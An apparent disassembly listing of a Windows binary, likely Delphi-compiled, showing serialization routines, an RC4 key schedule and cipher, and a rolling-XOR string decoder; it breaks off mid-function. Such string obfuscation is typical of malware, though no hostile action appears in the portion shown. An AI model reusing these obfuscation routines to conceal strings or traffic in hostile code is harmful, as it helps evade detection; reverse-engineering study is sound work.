sub_20012144	proc near		; CODE XREF: sub_200121A0+11Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		jmp	short loc_2001218B
; ---------------------------------------------------------------------------


loc_20012150:				; CODE XREF: sub_20012144+50j
		mov	eax, [ebx]
		call	sub_20011E0C
		add	al, 0FEh
		sub	al, 3
		jnb	short loc_20012164
		mov	eax, [ebx]
		call	sub_200121A0


loc_20012164:				; CODE XREF: sub_20012144+17j
		mov	eax, [ebx]
		mov	edx, 1
		call	sub_20012384
		jmp	short loc_20012179
; ---------------------------------------------------------------------------


loc_20012172:				; CODE XREF: sub_20012144+3Ej
		mov	eax, [ebx]
		call	sub_2001233C


loc_20012179:				; CODE XREF: sub_20012144+2Cj
		mov	eax, [ebx]
		call	sub_20011DF8
		test	al, al
		jz	short loc_20012172
		mov	eax, [ebx]
		call	sub_20011EAC


loc_2001218B:				; CODE XREF: sub_20012144+Aj
		mov	eax, [ebx]
		call	sub_20011DF8
		test	al, al
		jz	short loc_20012150
		mov	eax, [ebx]
		call	sub_20011EAC
		pop	ebx
		pop	ebp
		retn
sub_20012144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200121A0	proc near		; CODE XREF: sub_20011DD4+16p
					; sub_200120EC+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		xor	edx, edx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_2001232F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_20012090
		and	eax, 7Fh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_20012319	; default
					; jumptable 200121D0 cases 0,8,9,13
		jmp	off_200121D7[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_200121D7	dd offset loc_20012319	; DATA XREF: sub_200121A0+30r
		dd offset loc_20012230	; jump table for switch	statement
		dd offset loc_2001223C
		dd offset loc_2001224E
		dd offset loc_20012260
		dd offset loc_20012272
		dd offset loc_20012284
		dd offset loc_20012284
		dd offset loc_20012319
		dd offset loc_20012319
		dd offset loc_20012294
		dd offset loc_200122A2
		dd offset loc_200122AC
		dd offset loc_20012319
		dd offset loc_200122BA
		dd offset loc_200122C3
		dd offset loc_200122D2
		dd offset loc_200122E1
		dd offset loc_200122F0
		dd offset loc_200122FE
		dd offset loc_2001230D
; ---------------------------------------------------------------------------
		jmp	loc_20012319	; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_20012230:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		push	ebp		; jumptable 200121D0 case 1
		call	sub_200120EC
		pop	ecx
		jmp	loc_20012319	; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_2001223C:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		mov	edx, 1		; jumptable 200121D0 case 2
		mov	eax, [ebp+var_4]
		call	sub_20012384
		jmp	loc_20012319	; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_2001224E:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		mov	edx, 2		; jumptable 200121D0 case 3
		mov	eax, [ebp+var_4]
		call	sub_20012384
		jmp	loc_20012319	; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_20012260:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		mov	edx, 4		; jumptable 200121D0 case 4
		mov	eax, [ebp+var_4]
		call	sub_20012384
		jmp	loc_20012319	; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_20012272:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		mov	edx, 0Ah	; jumptable 200121D0 case 5
		mov	eax, [ebp+var_4]
		call	sub_20012384
		jmp	loc_20012319	; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_20012284:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		lea	edx, [ebp+var_8] ; jumptable 200121D0 cases 6,7
		mov	eax, [ebp+var_4]
		call	sub_20011EB4
		jmp	loc_20012319	; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_20012294:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		push	ebp		; jumptable 200121D0 case 10
		mov	eax, 1
		call	sub_20012114
		pop	ecx
		jmp	short loc_20012319 ; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_200122A2:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		mov	eax, [ebp+var_4] ; jumptable 200121D0 case 11
		call	sub_200120A4
		jmp	short loc_20012319 ; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_200122AC:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		push	ebp		; jumptable 200121D0 case 12
		mov	eax, 1
		call	sub_20012114
		pop	ecx
		jmp	short loc_20012319 ; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_200122BA:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		push	ebp		; jumptable 200121D0 case 14
		call	sub_20012144
		pop	ecx
		jmp	short loc_20012319 ; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_200122C3:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		mov	edx, 4		; jumptable 200121D0 case 15
		mov	eax, [ebp+var_4]
		call	sub_20012384
		jmp	short loc_20012319 ; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_200122D2:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		mov	edx, 8		; jumptable 200121D0 case 16
		mov	eax, [ebp+var_4]
		call	sub_20012384
		jmp	short loc_20012319 ; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_200122E1:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		mov	edx, 8		; jumptable 200121D0 case 17
		mov	eax, [ebp+var_4]
		call	sub_20012384
		jmp	short loc_20012319 ; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_200122F0:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		push	ebp		; jumptable 200121D0 case 18
		mov	eax, 2
		call	sub_20012114
		pop	ecx
		jmp	short loc_20012319 ; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_200122FE:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		mov	edx, 8		; jumptable 200121D0 case 19
		mov	eax, [ebp+var_4]
		call	sub_20012384
		jmp	short loc_20012319 ; default
					; jumptable 200121D0 cases 0,8,9,13
; ---------------------------------------------------------------------------


loc_2001230D:				; CODE XREF: sub_200121A0+30j
					; DATA XREF: sub_200121A0:off_200121D7o
		push	ebp		; jumptable 200121D0 case 20
		mov	eax, 1
		call	sub_20012114
		pop	ecx


loc_20012319:				; CODE XREF: sub_200121A0+2Aj
					; sub_200121A0+30j ...
		xor	eax, eax	; default
					; jumptable 200121D0 cases 0,8,9,13
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012336


loc_20012326:				; CODE XREF: sub_200121A0+194j
		lea	eax, [ebp+var_8]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2001232F:				; DATA XREF: sub_200121A0+11o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012326
; ---------------------------------------------------------------------------


loc_20012336:				; CODE XREF: sub_200121A0+18Ej
					; DATA XREF: sub_200121A0+181o
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_200121A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2001233C	proc near		; CODE XREF: sub_20012144+30p

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20012379
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_20011EB4
		mov	eax, ebx
		call	sub_200121A0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012380


loc_20012370:				; CODE XREF: sub_2001233C+42j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20012379:				; DATA XREF: sub_2001233C+Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012370
; ---------------------------------------------------------------------------


loc_20012380:				; CODE XREF: sub_2001233C+3Cj
					; DATA XREF: sub_2001233C+2Fo
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_2001233C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20012384	proc near		; CODE XREF: sub_20012114+26p
					; sub_20012144+27p ...
		push	ebx
		push	esi
		add	esp, 0FFFFFF00h
		mov	ebx, edx
		mov	esi, eax
		test	ebx, ebx
		jle	short loc_200123C3


loc_20012394:				; CODE XREF: sub_20012384+3Dj
		cmp	ebx, 100h
		jle	short loc_200123B2
		mov	edx, esp
		mov	ecx, 100h
		mov	eax, esi
		call	sub_20011E1C
		sub	ebx, 100h
		jmp	short loc_200123BF
; ---------------------------------------------------------------------------


loc_200123B2:				; CODE XREF: sub_20012384+16j
		mov	edx, esp
		mov	ecx, ebx
		mov	eax, esi
		call	sub_20011E1C
		xor	ebx, ebx


loc_200123BF:				; CODE XREF: sub_20012384+2Cj
		test	ebx, ebx
		jg	short loc_20012394


loc_200123C3:				; CODE XREF: sub_20012384+Ej
		add	esp, 100h
		pop	esi
		pop	ebx
		retn
sub_20012384	endp


; =============== S U B	R O U T	I N E =======================================



sub_200123CC	proc near		; CODE XREF: sub_20012440+31p
					; sub_20012440+3Dp ...
		push	esi
		push	edi
		push	ebx
		mov	esi, edx
		mov	ebx, ecx
		mov	edi, eax
		jmp	short loc_2001240D
; ---------------------------------------------------------------------------


loc_200123D7:				; CODE XREF: sub_200123CC+43j
		mov	ecx, [edi+0Ch]
		sub	ecx, [edi+10h]
		ja	short loc_200123E9
		mov	eax, edi
		call	sub_20012418
		mov	ecx, [edi+0Ch]


loc_200123E9:				; CODE XREF: sub_200123CC+11j
		cmp	ecx, ebx
		jb	short loc_200123EF
		mov	ecx, ebx


loc_200123EF:				; CODE XREF: sub_200123CC+1Fj
		sub	ebx, ecx
		push	edi
		mov	eax, [edi+8]
		add	eax, [edi+10h]
		add	[edi+10h], ecx
		mov	edi, eax
		mov	edx, ecx
		shr	ecx, 2
		cld
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi


loc_2001240D:				; CODE XREF: sub_200123CC+9j
		or	ebx, ebx
		jnz	short loc_200123D7
		pop	ebx
		pop	edi
		pop	esi
		retn
sub_200123CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20012418	proc near		; CODE XREF: sub_200123CC+15p
		push	ebx
		mov	ebx, eax
		mov	edx, [ebx+8]
		mov	ecx, [ebx+10h]
		mov	eax, [ebx+4]
		call	sub_200119B8
		xor	eax, eax
		mov	[ebx+10h], eax
		pop	ebx
		retn
sub_20012418	endp


; =============== S U B	R O U T	I N E =======================================



sub_20012430	proc near		; CODE XREF: sub_200110BC+25p
		mov	dl, 1
		call	sub_2001252C
		retn
sub_20012430	endp


; =============== S U B	R O U T	I N E =======================================



sub_20012438	proc near		; CODE XREF: sub_200110BC+5Bp
		xor	edx, edx
		call	sub_2001252C
		retn
sub_20012438	endp


; =============== S U B	R O U T	I N E =======================================



sub_20012440	proc near		; CODE XREF: sub_200124D8+2Ap

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		mov	edx, edi
		call	sub_20004390
		jz	short loc_20012484
		mov	eax, edi
		call	sub_20004244
		mov	[esp+10h+var_10], eax
		mov	dl, 14h
		mov	eax, ebx
		call	sub_2001252C
		mov	edx, esp
		mov	ecx, 4
		mov	eax, ebx
		call	sub_200123CC
		mov	edx, edi
		mov	ecx, [esp+10h+var_10]
		mov	eax, ebx
		call	sub_200123CC
		jmp	short loc_200124D3
; ---------------------------------------------------------------------------


loc_20012484:				; CODE XREF: sub_20012440+13j
		mov	eax, esi
		call	sub_20004244
		mov	[esp+10h+var_10], eax
		cmp	[esp+10h+var_10], 0FFh
		jg	short loc_200124B0
		mov	dl, 6
		mov	eax, ebx
		call	sub_2001252C
		mov	edx, esp
		mov	ecx, 1
		mov	eax, ebx
		call	sub_200123CC
		jmp	short loc_200124C7
; ---------------------------------------------------------------------------


loc_200124B0:				; CODE XREF: sub_20012440+55j
		mov	dl, 0Ch
		mov	eax, ebx
		call	sub_2001252C
		mov	edx, esp
		mov	ecx, 4
		mov	eax, ebx
		call	sub_200123CC


loc_200124C7:				; CODE XREF: sub_20012440+6Ej
		mov	edx, esi
		mov	ecx, [esp+10h+var_10]
		mov	eax, ebx
		call	sub_200123CC


loc_200124D3:				; CODE XREF: sub_20012440+42j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20012440	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200124D8	proc near		; CODE XREF: sub_200110BC+4Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2001251D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_20005944
		mov	ecx, [ebp+var_4]
		mov	edx, esi
		mov	eax, ebx
		call	sub_20012440
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012524


loc_20012514:				; CODE XREF: sub_200124D8+4Aj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2001251D:				; DATA XREF: sub_200124D8+Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012514
; ---------------------------------------------------------------------------


loc_20012524:				; CODE XREF: sub_200124D8+44j
					; DATA XREF: sub_200124D8+37o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_200124D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001252C	proc near		; CODE XREF: sub_20012430+2p
					; sub_20012438+2p ...

var_4		= byte ptr -4

		push	ecx
		mov	[esp+4+var_4], dl
		mov	edx, esp
		mov	ecx, 1
		call	sub_200123CC
		pop	edx
		retn
sub_2001252C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20012540	proc near		; CODE XREF: CODE:200126CAp
		push	offset stru_20015878 ; lpCriticalSection
		call	InitializeCriticalSection_0
		push	offset Name	; lpName
		push	0		; bInitialState
		push	0FFFFFFFFh	; bManualReset
		push	0		; lpEventAttributes
		call	CreateEventA
		mov	ds:hObject, eax
		cmp	ds:hObject, 0
		jnz	short locret_2001256D
		call	sub_2000B75C

locret_2001256D:			; CODE XREF: sub_20012540+26j
		retn
sub_20012540	endp

; ---------------------------------------------------------------------------
		align 10h
; char Name[]
Name		db 4 dup(0)		; DATA XREF: sub_20012540+Ao

; =============== S U B	R O U T	I N E =======================================



sub_20012574	proc near		; CODE XREF: CODE:2001267Dp
		push	offset stru_20015878 ; lpCriticalSection
		call	DeleteCriticalSection_0
		mov	eax, ds:hObject
		push	eax		; hObject
		call	CloseHandle_0
		retn
sub_20012574	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2001258C	proc near		; CODE XREF: CODE:2001262Dp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_20015868
		call	sub_2001022C
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_200125E1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		test	ebx, ebx
		jl	short loc_200125C9
		inc	ebx
		xor	esi, esi


loc_200125B7:				; CODE XREF: sub_2001258C+3Bj
		mov	edx, esi
		mov	eax, edi
		call	sub_20010050
		call	sub_200034F4
		inc	esi
		dec	ebx
		jnz	short loc_200125B7


loc_200125C9:				; CODE XREF: sub_2001258C+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200125E8


loc_200125D6:				; CODE XREF: sub_2001258C+5Aj
		mov	eax, ds:dword_20015868
		call	sub_20010240
		retn
; ---------------------------------------------------------------------------


loc_200125E1:				; DATA XREF: sub_2001258C+15o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200125D6
; ---------------------------------------------------------------------------


loc_200125E8:				; CODE XREF: sub_2001258C+54j
					; DATA XREF: sub_2001258C+45o
		mov	eax, ds:dword_20015868
		call	sub_200034F4
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_2001258C	endp

; ---------------------------------------------------------------------------
		align 4


loc_200125F8:				; DATA XREF: CODE:20012669o
					; CODE:200126CFo
		call	sub_2000FEA8
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_200126A4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015864
		jnz	short loc_20012696
		mov	eax, ds:dword_20015660
		call	sub_2000FEA8
		mov	eax, ds:dword_2001585C
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		call	sub_2001258C
		xor	edx, edx
		xor	eax, eax
		call	sub_20011C80
		mov	eax, offset dword_20015874
		call	sub_2000BC9C
		call	sub_20005C00
		lea	eax, [eax+8]
		call	sub_2000BC9C
		mov	eax, offset dword_2001586C
		call	sub_2000BC9C
		mov	eax, offset dword_2001585C
		call	sub_200054F4
		mov	eax, offset loc_200125F8
		call	sub_20005390
		mov	eax, offset dword_200143B8
		call	sub_2000BC9C
		call	sub_20012574
		mov	eax, offset dword_20015870
		call	sub_2000BC9C
		mov	eax, offset dword_2001585C
		call	sub_200054F4


loc_20012696:				; CODE XREF: CODE:20012617j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200126AB


loc_200126A3:				; CODE XREF: CODE:200126A9j
		retn
; ---------------------------------------------------------------------------


loc_200126A4:				; DATA XREF: CODE:20012606o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200126A3
; ---------------------------------------------------------------------------


loc_200126AB:				; CODE XREF: CODE:loc_200126A3j
					; DATA XREF: CODE:2001269Eo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20012739
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_20015864, 1
		jnb	short loc_2001272B
		call	sub_20012540
		mov	eax, offset loc_200125F8
		call	sub_20005388
		mov	dl, 1
		mov	eax, off_20006E78
		call	sub_2000B9DC
		mov	edx, eax
		test	edx, edx
		jz	short loc_200126EE
		sub	edx, 0FFFFFFD4h


loc_200126EE:				; CODE XREF: CODE:200126E9j
		mov	eax, offset dword_2001585C
		call	sub_2000550C
		mov	dl, 1
		mov	eax, off_2000FB98
		call	sub_2000FD70
		mov	ds:dword_2001586C, eax
		mov	dl, 1
		mov	eax, off_2000F670
		call	sub_2001015C
		mov	ds:dword_20015868, eax
		mov	dl, 1
		mov	eax, off_2000F670
		call	sub_2001015C
		mov	ds:dword_20015874, eax


loc_2001272B:				; CODE XREF: CODE:200126C8j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012740


loc_20012738:				; CODE XREF: CODE:2001273Ej
		retn
; ---------------------------------------------------------------------------


loc_20012739:				; DATA XREF: CODE:200126B6o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012738
; ---------------------------------------------------------------------------


loc_20012740:				; CODE XREF: CODE:loc_20012738j
					; DATA XREF: CODE:20012733o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20012769
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015890
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012770


loc_20012768:				; CODE XREF: CODE:2001276Ej
		retn
; ---------------------------------------------------------------------------


loc_20012769:				; DATA XREF: CODE:2001274Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012768
; ---------------------------------------------------------------------------


loc_20012770:				; CODE XREF: CODE:loc_20012768j
					; DATA XREF: CODE:20012763o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_20015890, 1
		retn

; =============== S U B	R O U T	I N E =======================================



sub_2001277C	proc near		; CODE XREF: sub_20012F40+2BEp

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_1C], edx
		mov	edi, eax
		mov	eax, [esp+1Ch+var_1C]
		call	sub_20004244
		mov	[esp+1Ch+var_14], eax
		mov	byte ptr [edi+100h], 0
		mov	byte ptr [edi+101h], 0
		xor	edx, edx
		mov	eax, edi


loc_200127A6:				; CODE XREF: sub_2001277C+30j
		mov	[eax], dl
		inc	edx
		inc	eax
		test	dl, dl
		jnz	short loc_200127A6
		xor	eax, eax
		xor	esi, esi
		mov	dl, 0
		mov	ecx, edi


loc_200127B6:				; CODE XREF: sub_2001277C+82j
		cmp	esi, [esp+1Ch+var_14]
		jge	short loc_200127C8
		mov	ebx, [esp+1Ch+var_1C]
		mov	bl, [ebx+esi]
		mov	[esp+1Ch+var_17], bl
		jmp	short loc_200127CD
; ---------------------------------------------------------------------------


loc_200127C8:				; CODE XREF: sub_2001277C+3Ej
		mov	[esp+1Ch+var_17], 0


loc_200127CD:				; CODE XREF: sub_2001277C+4Aj
		inc	esi
		cmp	esi, [esp+1Ch+var_14]
		jl	short loc_200127D6
		xor	esi, esi


loc_200127D6:				; CODE XREF: sub_2001277C+56j
		mov	bl, [ecx]
		add	bl, [esp+1Ch+var_17]
		add	al, bl
		mov	bl, [ecx]
		mov	[esp+1Ch+var_18], bl
		xor	ebx, ebx
		mov	bl, al
		mov	bl, [edi+ebx]
		mov	[ecx], bl
		xor	ebx, ebx
		mov	bl, al
		lea	ebp, [edi+ebx]
		mov	bl, [esp+1Ch+var_18]
		mov	[ebp+0], bl
		inc	ecx
		dec	dl
		jnz	short loc_200127B6
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2001277C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20012808	proc near		; CODE XREF: sub_20012F40+2DFp
		xor	ecx, ecx
		mov	edx, 102h
		call	sub_20002E38
		retn
sub_20012808	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20012818	proc near		; CODE XREF: sub_20012F40+2D4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		dec	ebx
		test	ebx, ebx
		jl	short loc_20012888
		inc	ebx
		mov	[ebp+var_4], ebx
		mov	esi, edx


loc_2001282D:				; CODE XREF: sub_20012818+6Ej
		inc	byte ptr [eax+100h]
		xor	edx, edx
		mov	dl, [eax+100h]
		mov	dl, [eax+edx]
		add	[eax+101h], dl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	bl, [eax+ebx]
		push	ebx
		xor	ebx, ebx
		mov	bl, [eax+100h]
		lea	edi, [eax+ebx]
		pop	ebx
		mov	[edi], bl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	[eax+ebx], dl
		xor	ebx, ebx
		mov	bl, [eax+100h]
		add	dl, [eax+ebx]
		and	edx, 0FFh
		mov	dl, [eax+edx]
		xor	dl, [esi]
		mov	[ecx], dl
		inc	ecx
		inc	esi
		dec	[ebp+var_4]
		jnz	short loc_2001282D


loc_20012888:				; CODE XREF: sub_20012818+Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_20012818	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_200128B5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015894
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200128BC


loc_200128B4:				; CODE XREF: CODE:200128BAj
		retn
; ---------------------------------------------------------------------------


loc_200128B5:				; DATA XREF: CODE:20012896o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200128B4
; ---------------------------------------------------------------------------


loc_200128BC:				; CODE XREF: CODE:loc_200128B4j
					; DATA XREF: CODE:200128AFo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_20015894, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_200128ED
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015898
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200128F4


loc_200128EC:				; CODE XREF: CODE:200128F2j
		retn
; ---------------------------------------------------------------------------


loc_200128ED:				; DATA XREF: CODE:200128CEo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200128EC
; ---------------------------------------------------------------------------


loc_200128F4:				; CODE XREF: CODE:loc_200128ECj
					; DATA XREF: CODE:200128E7o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_20015898, 1
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20012900	proc near		; CODE XREF: sub_20012A88+EDp
					; sub_20012A88+F8p ...
		push	ecx
		mov	edx, esp
		call	sub_20002F88
		pop	edx
		retn
sub_20012900	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2001290C	proc near		; CODE XREF: CODE:200133AAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_20004434
		xor	eax, eax
		push	ebp
		push	offset loc_2001298F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, 5
		mov	eax, [ebp+var_4]
		call	sub_20004244
		mov	edi, eax
		test	edi, edi
		jle	short loc_2001296E
		mov	esi, 1


loc_20012949:				; CODE XREF: sub_2001290C+60j
		lea	eax, [ebp+var_4]
		call	sub_2000449C
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx+esi-1]
		xor	edx, ebx
		mov	[eax+esi-1], dl
		cmp	ebx, 14h
		jnz	short loc_20012969
		mov	ebx, 4


loc_20012969:				; CODE XREF: sub_2001290C+56j
		inc	ebx
		inc	esi
		dec	edi
		jnz	short loc_20012949


loc_2001296E:				; CODE XREF: sub_2001290C+36j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_20003FFC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012996


loc_20012986:				; CODE XREF: sub_2001290C+88j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2001298F:				; DATA XREF: sub_2001290C+1Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012986
; ---------------------------------------------------------------------------


loc_20012996:				; CODE XREF: sub_2001290C+82j
					; DATA XREF: sub_2001290C+75o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_2001290C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200129A0	proc near		; CODE XREF: CODE:20013394p

var_154		= dword	ptr -154h
var_150		= byte ptr -150h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEACh
		push	ebx
		push	esi
		xor	edx, edx
